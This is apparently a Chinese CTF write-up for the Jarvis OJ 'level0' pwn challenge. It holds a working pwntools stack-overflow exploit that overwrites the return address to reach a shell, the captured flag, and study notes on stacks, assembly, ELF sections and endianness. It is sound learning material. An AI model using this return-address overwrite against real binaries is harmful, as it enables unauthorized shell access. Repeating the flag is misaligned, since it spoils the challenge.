level0(deepin解题记录)
打开链接:
判断了下文件类型及其保护
在终端里面运行一下:
64位的,所以就用idax64打开
看一下数据位置:
其中有bin/sh,
里面有几个函数需要看看,callsystem,main,read,vulnerable_function
栈溢出,由于没有NX保护和开栈保护,为了得到shell,可以找一个输入没有限制的输入的函数,像数组
找到vulnerable_function,
点进buf,可以看见buf距离ret的长度为0x80+0x08
覆盖vulnerable_function的返回地址为call_system函数地址,才能得到交互页面
脚本如下:
# -*- coding:utf-8 -*-
from pwn import *
sh = remote("pwn2.jarvisoj.com",9881) #remote:主要用作远程和服务器交互,返回一个类似连接对象
junk = 'a'*0x80
fakebp = 'a'*8
syscall = 0x0000000000400596 #vulnerable_fuction的函数起始位置
payload = junk + fakebp + p64(syscall) #p64:将数字转为字符串(p64/u64 p32/u32)
sh.send(payload) #send:发送数据,通过连接对象调用
sh.interactive() #interactive:反弹shell
得到:
达到交互页面,
这里要用到:cat
这里应该是打开文件,显示
键入:cat flag,得到
Flag:CTF{713ca3944e92180e0ef03171981dcd41}
PWN内容小结:
何为栈?
栈是一种数据结构,有着“先进后出”的原则,下面这个很形象的述说了栈push,pop的过程。
这里写图片描述
首先呢,学到了许多汇编语言的含义:
call func1 //调用函数
push eax //压入栈
pop edi //弹出栈
jmp, je, jne //跳转地址
mov eax, 0xffffffff //移动地址
add, sub, mul… //加,减,乘
eip :next instruction
esp :top of stack
ebp :base of stack
要知道ida的一些常规操作:
Ctrl+s //方便直接寻找所有类型文件,如下
got -> have something to do with the address of vars in menory
.plt -> where to find the address of functions
.plt.got -> store the real address of functions in menory
.text -> code // readable, executable but forbidden to write
.data -> store the initeddata which work in the whole program
.bss -> store the unInited data that works in the whole program
.extern -> some key vars when linked to libc
关于函数调用:
栈中一般先push数据,
且栈顶指针是随着输入的位置向上变化,也就是说,arg2是栈低,只有esp向上走,
当函数中的变量输完以后,函数return的地址就会确定,并输入
将ebp指针变换到原esp的位置,并开始push函数内变量,最后由栈顶指针向下运行,arg1和arg2的调用是由ebp+/-实现的
然后便是字序节的问题:
这是两种不同的解析方式;
大端序:
高位字节放到低地址;
“正常的顺序” : 234156 -> 0x392ac ->0x 00 03 92 ac
小端序:
高位字节放到高地址:
‘\xac’ + ‘\x92’ + ‘\x03’ + ‘\x00’